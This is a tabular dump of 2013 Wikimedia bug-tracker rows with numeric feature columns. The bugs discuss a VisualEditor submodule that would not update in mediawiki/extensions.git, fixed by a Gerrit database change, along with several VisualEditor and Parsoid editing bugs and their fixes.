254117,mediawiki/extensions.git does not update some extensions,"VisualEditor is lagged out again:

$ cd extensions
$ git remote update
$ git rebase
$ git submodule update --init VisualEditor
Submodule path 'VisualEditor': checked out '46c3d48ba7779254581bfad017c0804588a1983d'
$

Then looking at HEAD (that is the checked out version above) and origin/master:

$ git log --oneline HEAD..origin/master
c331c19 Merge ""Minor performance optimization and cleanup in FocusableNode""
daa83d2 Minor performance optimization and cleanup in FocusableNode
a08da9f Make node resizing happen inside onAttributeChange
f8d7314 Merge ""Simplify ve.ce.ResizableNode by removing code for 'transition' which is not used anyway""
87667bd Merge ""Make toolbar look correct with non-standard browser font size settings""
b0b832a Make toolbar look correct with non-standard browser font size settings
59e7a7b Simplify ve.ce.ResizableNode by removing code for 'transition' which is not used anyway
$



$ git rev-parse origin/master
c331c1980ec37a4d6926f138fd1e81879d5db299
$ git rev-parse HEAD
46c3d48ba7779254581bfad017c0804588a1983d
$",,,1372669990,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.5,1.0,10.5,0.5,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,19.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,11.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,7.0,10.5,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,4.869791666666666,0.5260416666666666,"VisualEditor is lagged out again:

$ cd extensions
$ git remote update
$ git rebase
$ git submodule update --init VisualEditor
Submodule path 'VisualEditor': checked out '46c3d48ba7779254581bfad017c0804588a1983d'
$

Then looking at HEAD (that is the checked out version above) and origin/master:

$ git log --oneline HEAD..origin/master
c331c19 Merge ""Minor performance optimization and cleanup in FocusableNode""
daa83d2 Minor performance optimization and cleanup in FocusableNode
a08da9f Make node resizing happen inside onAttributeChange
f8d7314 Merge ""Simplify ve.ce.ResizableNode by removing code for 'transition' which is not used anyway""
87667bd Merge ""Make toolbar look correct with non-standard browser font size settings""
b0b832a Make toolbar look correct with non-standard browser font size settings
59e7a7b Simplify ve.ce.ResizableNode by removing code for 'transition' which is not used anyway
$



$ git rev-parse origin/master
c331c1980ec37a4d6926f138fd1e81879d5db299
$ git rev-parse HEAD
46c3d48ba7779254581bfad017c0804588a1983d
$"
254111,mediawiki/extensions.git does not update some extensions,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version

VisualEditor (Version 0.1.0)	(4b74101)
19:00, 20 June 2013

:-)",,,1371759767,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3157894736842106,0.8421052631578947,"URL

VisualEditor (Version 0.1.0)	(4b74101)
19:00, 20 June 2013

:-)"
254105,mediawiki/extensions.git does not update some extensions,"I have no idea what went wrong :/

Filled bug 49906 to monitor such issues.

Thank you Chad!",,,1371759694,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,0.0,9.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9545454545454546,"I have no idea what went wrong :/

Filled bug 49906 to monitor such issues.

Thank you Chad!"
254096,mediawiki/extensions.git does not update some extensions,"Fixed.

gerrit> select * from submodule_subscriptions where submodule_project_name like '%VisualEditor%';
 submodule_project_name | submodule_branch_name | super_project_project_name | super_project_branch_name | submodule_path
 -----------------------+-----------------------+----------------------------+---------------------------+---------------
 VisualEditor           | refs/heads/master     | mediawiki/extensions       | refs/heads/master         | VisualEditor
(1 row; 2 ms)

gerrit> update submodule_subscriptions set submodule_project_name = 'mediawiki/extensions/VisualEditor' where submodule_path = 'VisualEditor';
UPDATE 1; 2 ms

gerrit> select * from submodule_subscriptions where submodule_project_name like '%VisualEditor%';
 submodule_project_name            | submodule_branch_name | super_project_project_name | super_project_branch_name | submodule_path
 ----------------------------------+-----------------------+----------------------------+---------------------------+---------------
 mediawiki/extensions/VisualEditor | refs/heads/master     | mediawiki/extensions       | refs/heads/master         | VisualEditor
(1 row; 1 ms)

Was the extension at one point pointing to the wrong repository? Will file a bug upstream, since I guess this should've updated itself when the submodule changed.",,,1371759443,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,0.0,2.5,2.5,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,25.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,0.5,7.0,2.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,5.5,0.0,1.5,2.5,11.0,0.5,4.0,0.0,1.5,0.0,2.0,0.5,0.5,0.0,0.0,0.0,1.0,6.646739130434783,0.5978260869565217,"Fixed.

gerrit> select * from submodule_subscriptions where submodule_project_name like '%VisualEditor%';
 submodule_project_name | submodule_branch_name | super_project_project_name | super_project_branch_name | submodule_path
 -----------------------+-----------------------+----------------------------+---------------------------+---------------
 VisualEditor           | refs/heads/master     | mediawiki/extensions       | refs/heads/master         | VisualEditor
(1 row; 2 ms)

gerrit> update submodule_subscriptions set submodule_project_name = 'mediawiki/extensions/VisualEditor' where submodule_path = 'VisualEditor';
UPDATE 1; 2 ms

gerrit> select * from submodule_subscriptions where submodule_project_name like '%VisualEditor%';
 submodule_project_name            | submodule_branch_name | super_project_project_name | super_project_branch_name | submodule_path
 ----------------------------------+-----------------------+----------------------------+---------------------------+---------------
 mediawiki/extensions/VisualEditor | refs/heads/master     | mediawiki/extensions       | refs/heads/master         | VisualEditor
(1 row; 1 ms)

Was the extension at one point pointing to the wrong repository? Will file a bug upstream, since I guess this should've updated itself when the submodule changed."
254090,mediawiki/extensions.git does not update some extensions,Actually moving this bug under 'git/gerrit'.,,,1371754174,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,Actually moving this bug under 'git/gerrit'.
254084,mediawiki/extensions.git does not update some extensions,"On beta, origin/master points to 5add8cc4c0ea5b305525c30d8af5261406e5d355 which mean VisualEditor remote is not being fetched when running 'git pull && git submodule update --init'.",,,1371722282,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,5.3,0.9,"On beta, origin/master points to 5add8cc4c0ea5b305525c30d8af5261406e5d355 which mean VisualEditor remote is not being fetched when running 'git pull && git submodule update --init'."
254076,mediawiki/extensions.git does not update some extensions,"The mediawiki/extensions.git is not updating VisualEditor extension:


$ git submodule update --init VisualEditor
remote: Counting objects: 3887, done
remote: Finding sources: 100% (5930/5930)
remote: Getting sizes: 100% (1370/1370)
remote: Compressing objects:  21% (288/1370)
remote: Total 5930 (delta 3846), reused 5495 (delta 3829)
Receiving objects: 100% (5930/5930), 2.95 MiB | 622 KiB/s, done.
Resolving deltas: 100% (4091/4091), completed with 275 local objects.
From https://gerrit.wikimedia.org/r/p/mediawiki/extensions/VisualEditor
   65602e1..ed1c06e  master     -> origin/master
Submodule path 'VisualEditor': checked out '5add8cc4c0ea5b305525c30d8af5261406e5d355'


$ cd VisualEditor
$ git rev-parse HEAD origin/master
5add8cc4c0ea5b305525c30d8af5261406e5d355
ed1c06ee6b36851ba1f6e3a68d0584da4c20be46

HEAD should points to the same as origin/master.


Parsoid is updated though:

$ git rev-parse HEAD origin/master
bf8d3dff339e5b3e10f0667850d0114f49db131c
bf8d3dff339e5b3e10f0667850d0114f49db131c


Moving the bug under Wikimedia > Git/Gerrit . Will poke Chad / Sam about it.",,,1371721861,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,4.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,4.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,15.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,11.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,1.0,4.0,8.666666666666666,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,4.483160800552105,0.6348516218081436,"The mediawiki/extensions.git is not updating VisualEditor extension:


$ git submodule update --init VisualEditor
remote: Counting objects: 3887, done
remote: Finding sources: 100% (5930/5930)
remote: Getting sizes: 100% (1370/1370)
remote: Compressing objects:  21% (288/1370)
remote: Total 5930 (delta 3846), reused 5495 (delta 3829)
Receiving objects: 100% (5930/5930), 2.95 MiB | 622 KiB/s, done.
Resolving deltas: 100% (4091/4091), completed with 275 local objects.
From URL
   65602e1..ed1c06e  master     -> origin/master
Submodule path 'VisualEditor': checked out '5add8cc4c0ea5b305525c30d8af5261406e5d355'


$ cd VisualEditor
$ git rev-parse HEAD origin/master
5add8cc4c0ea5b305525c30d8af5261406e5d355
ed1c06ee6b36851ba1f6e3a68d0584da4c20be46

HEAD should points to the same as origin/master.


Parsoid is updated though:

$ git rev-parse HEAD origin/master
bf8d3dff339e5b3e10f0667850d0114f49db131c
bf8d3dff339e5b3e10f0667850d0114f49db131c


Moving the bug under Wikimedia > Git/Gerrit . Will poke Chad / Sam about it."
51828,VisualEditor: Parsoid ate a reference,"In this edit: https://fr.wikipedia.org/w/index.php?diff=94100781 VisualEditor seems to have emptied a reference (the one containing ""Maxime Pargaud"" as author of the cited reference).

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1371656400,1371782480.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-j6slyvhfp3d6ozltvruk,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.065217391304348,0.717391304347826,"In this edit: URL VisualEditor seems to have emptied a reference (the one containing ""Maxime Pargaud"" as author of the cited reference).

--------------------------
**Version**: unspecified
**Severity**: normal"
253136,VisualEditor: Parsoid ate a reference,This is now fixed (Parsoid selser issue); sorry!,,,1371782480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j6slyvhfp3d6ozltvruk,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,This is now fixed (Parsoid selser issue); sorry!
253130,VisualEditor: Parsoid ate a reference,"VisualEditor kissed a girl and liked it. Oh boy, do our products grow up fast.

Oh wait, it ate a reference? Bad bad editor. Discipline... Slacker!",,,1371779509,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-j6slyvhfp3d6ozltvruk,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,9.0,3.0,9.0,3.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5142857142857142,0.8285714285714286,"VisualEditor kissed a girl and liked it. Oh boy, do our products grow up fast.

Oh wait, it ate a reference? Bad bad editor. Discipline... Slacker!"
51763,VisualEditor: Image insertion does not work,"See https://en.wikipedia.org/wiki/User:Mdennis_%28WMF%29/sandbox for the result of four different attempts to insert images. Each one resulted in something like https://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=560491469&oldid=560491343

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1371582180,1371782583.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ivktalncu225io76zzys,task_description,resolved,True,c1,2,False,False,True,-2,,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2368421052631575,0.7368421052631579,"See URL for the result of four different attempts to insert images. Each one resulted in something like URL

--------------------------
**Version**: unspecified
**Severity**: normal"
248995,VisualEditor: Image insertion does not work,Fixed. Sorry about this.,,,1371782583,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ivktalncu225io76zzys,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8333333333333334,Fixed. Sorry about this.
51737,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"https://en.wikipedia.org/w/index.php?title=McIntosh_%28apple%29&diff=560394609&oldid=560264020

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1371542880,1372027620.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-vm7v6vojqzplbnspgwqk,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.5263157894736842,"URL

--------------------------
**Version**: unspecified
**Severity**: normal"
247487,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"I'm going to speculatively mark this as fixed; we haven't seen any further issues with this and there's no steps to repeat - even when we undertake edit conflicts it still doesn't occur.

Please re-open if you find that it does recur - and if so, any information about how to get it to trigger would be great, of course.",,,1372027620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vm7v6vojqzplbnspgwqk,task_subcomment,,True,c1,2,True,,,-2,,3.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,1.0,4.0,0.0,11.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,3.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,7.0,3.0,7.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,3.638888888888889,0.7777777777777778,"I'm going to speculatively mark this as fixed; we haven't seen any further issues with this and there's no steps to repeat - even when we undertake edit conflicts it still doesn't occur.

Please re-open if you find that it does recur - and if so, any information about how to get it to trigger would be great, of course."
247481,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"(In reply to comment #1)
> https://en.wikipedia.org/wiki/Wikipedia:
> Village_pump_(technical)#VisualEditor_-_A.2FB_test_launch_on_18_June
> 
> indicates that this might be caused by edit conflicts

I can't replicate this, although of course it is difficult to realistically replicate edit conflicts.",,,1371549819,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-vm7v6vojqzplbnspgwqk,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.7714285714285715,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

I can't replicate this, although of course it is difficult to realistically replicate edit conflicts."
247472,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#VisualEditor_-_A.2FB_test_launch_on_18_June

indicates that this might be caused by edit conflicts",,,1371547249,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-vm7v6vojqzplbnspgwqk,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,"URL

indicates that this might be caused by edit conflicts"
51668,VisualEditor: Page with a <references /> block and no <ref>s throws fatal error on load,"Have a page with a <references /> block but no <ref>s and you get:

| Uncaught TypeError: Cannot call method 'connect' of null 

This is bad.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1371431820,1371479770.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cheeem2iuszopjmd3axj,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,5.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,3.3157894736842106,0.7017543859649122,"Have a page with a <references /> block but no <ref>s and you get:

| Uncaught TypeError: Cannot call method 'connect' of null 

This is bad.

--------------------------
**Version**: unspecified
**Severity**: normal"
243087,VisualEditor: Page with a <references /> block and no <ref>s throws fatal error on load,"This was fixed with gerrit 67924, which is now merged into master and will go out with wmf8 from Thursday.",,,1371479770,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cheeem2iuszopjmd3axj,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,23.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9545454545454546,0.9545454545454546,"This was fixed with gerrit 67924, which is now merged into master and will go out with wmf8 from Thursday."
51608,VisualEditor: HTML comments are dropped from transclusion calls,"https://en.wikipedia.org/w/index.php?title=Vidin&diff=559844598&oldid=559844102 shows several dirty diff issues, including spurious template bars, space changes, and corrupt links.

However, this bug is specifically about the HTML comments that are dropped, ""the name of a location map as per http://en.wikipedia.org/wiki/Template:Location_map"" and ""the position of the pushpin label: left, right, top, bottom, none"".  These comments often have important messages to other editors, so they can not be stripped.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49603
https://bugzilla.wikimedia.org/show_bug.cgi?id=49655",Unbreak Now!,100.0,1371265140,1371511467.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-b7q472kz3l2dnhbtziiw,task_description,resolved,True,c1,2,True,False,True,-3,,0.5,0.0,0.0,1.5,1.0,7.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,4.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.5,0.0,12.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,2.5,2.0,8.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,4.5,2.0,0.0,2.0,0.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.7232142857142856,0.6964285714285714,"URL shows several dirty diff issues, including spurious template bars, space changes, and corrupt links.

